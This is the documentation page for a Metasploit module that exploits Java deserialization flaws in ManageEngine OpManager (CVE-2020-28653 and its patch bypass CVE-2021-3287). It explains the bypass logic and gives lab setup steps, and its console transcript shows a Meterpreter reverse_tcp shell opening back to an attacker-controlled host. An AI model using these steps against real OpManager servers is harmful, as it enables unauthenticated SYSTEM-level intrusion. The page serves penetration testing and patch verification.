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Land #15670, add opmanager sumpdu deser module
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documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md
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## Vulnerable Application | ||
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### Description | ||
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An HTTP endpoint used by the Manage Engine OpManager Smart Update Manager component can be leveraged to deserialize an | ||
arbitrary Java object. This can be abused by an unauthenticated remote attacker to execute OS commands in the context of | ||
the OpManager application (NT AUTHORITY\SYSTEM on Windows or root on Linux). This vulnerability is also present in other | ||
products that are built on top of the OpManager application. This vulnerability affects OpManager versions 12.1 - | ||
12.5.328. | ||
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#### CVE-2020-28653 | ||
This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability involves sending a malicious PDU to the | ||
SmartUpdateManager handler that when deserialized executes an arbitary OS command. | ||
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#### CVE-2021-3287 | ||
This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManager versions 12.5.233 - 12.5.328. When the | ||
original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object | ||
has a flaw in its validation logic. The object works by requiring the caller to specify a list of one or more object | ||
classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the | ||
first is protected because once a serialized object of an allowed type is read from the stream, the | ||
`ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any | ||
type. | ||
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The exploit technique for this CVE leverages this by first sending a legitimate, serialized SUMPDU to create an instance | ||
of the `SUMServerIOAndDataAnalyzer` object whose `process` method makes multiple `readObject` calls using the same | ||
instance for each. | ||
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Unlike exploiting CVE-2020-28653, to exploit CVE-2021-3287 the target server must have the SUM server running. This is | ||
not the case for the standard installer, but is the case for "Central" variant. Without the SUM server running, the log | ||
handler is not initialized which causes the request handler to crash making the vulnerable code path inaccessible. | ||
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### Setup (Windows) | ||
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1. Download an affected version for either Windows or Linux from the [archive][0] | ||
1. Run the installer executable | ||
1. Accept the default values for all settings (skip registration), until the very end when prompted to start the | ||
application | ||
1. Unselect the option to start the application | ||
1. If this option is missed, just navigate to the tray icon where it will say that it's starting and select the | ||
option to stop it | ||
1. Start a command prompt as an administrative user | ||
1. Navigate to `C:\Program Files\ManageEngine\OpManager\bin`, older versions use `C:\ManageEngine\OpManager\bin` | ||
1. Run `run.bat` | ||
1. View and accept the license terms | ||
1. Press `f` to run the product in Free mode | ||
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OpManager should start successfully after a few minutes. At that point the service can be exploited. In this case the | ||
session will be opened in the context of the user that ran the service with `run.bat`. Once the server is restarted and | ||
OpManager starts automatically, the vulnerability can be exploited to open a session in the context of NT | ||
AUTHORITY\SYSTEM. | ||
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### Setup (Linux) | ||
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1. Download an affected version for either Windows or Linux from the [archive][0] | ||
1. Run the installer executable as root | ||
1. Accept the default values for all settings (skip registration) | ||
1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin`, older versions use `/opt/ManageEngine/OpManager/bin` | ||
1. Run `run.sh` as root | ||
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## Verification Steps | ||
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1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/opmanager_sumpdu_deserialization` | ||
1. Set the `RHOSTS`, `TARGET`, `PAYLOAD` and payload-related options as necessary | ||
1. Do: `run` | ||
1. You should get a shell. | ||
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## Options | ||
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### CVE | ||
Vulnerability to use. If set to 'Automatic' (the default), the module will attempt to detect the version and select the | ||
correct vulnerability. | ||
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## Scenarios | ||
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### Windows Server 2019 x64 w/ ManageEngine OpManager v12.5.328 | ||
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``` | ||
msf6 > use exploit/multi/http/opmanager_sumpdu_deserialization | ||
[*] Using configured payload windows/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set RHOSTS 192.168.159.96 | ||
RHOSTS => 192.168.159.96 | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set TARGET Windows\ PowerShell | ||
TARGET => Windows PowerShell | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set PAYLOAD windows/x64/meterpreter/reverse_tcp | ||
PAYLOAD => windows/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > set LHOST 192.168.159.128 | ||
LHOST => 192.168.159.128 | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > check | ||
[*] 192.168.159.96:8060 - The target appears to be vulnerable. | ||
msf6 exploit(multi/http/opmanager_sumpdu_deserialization) > exploit | ||
[*] Started reverse TCP handler on 192.168.159.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] An HTTP session cookie has been issued | ||
[*] Detected version: 12.5.328 | ||
[*] The request handler has been associated with the HTTP session | ||
[*] Sending stage (200262 bytes) to 192.168.159.96 | ||
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.96:63887) at 2021-09-16 14:06:27 -0400 | ||
meterpreter > getuid | ||
Server username: MSFLAB\smcintyre | ||
meterpreter > sysinfo | ||
Computer : WIN-3MSP8K2LCGC | ||
OS : Windows 2016+ (10.0 Build 17763). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : MSFLAB | ||
Logged On Users : 9 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` | ||
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[0]: https://archives.manageengine.com/opmanager/ |
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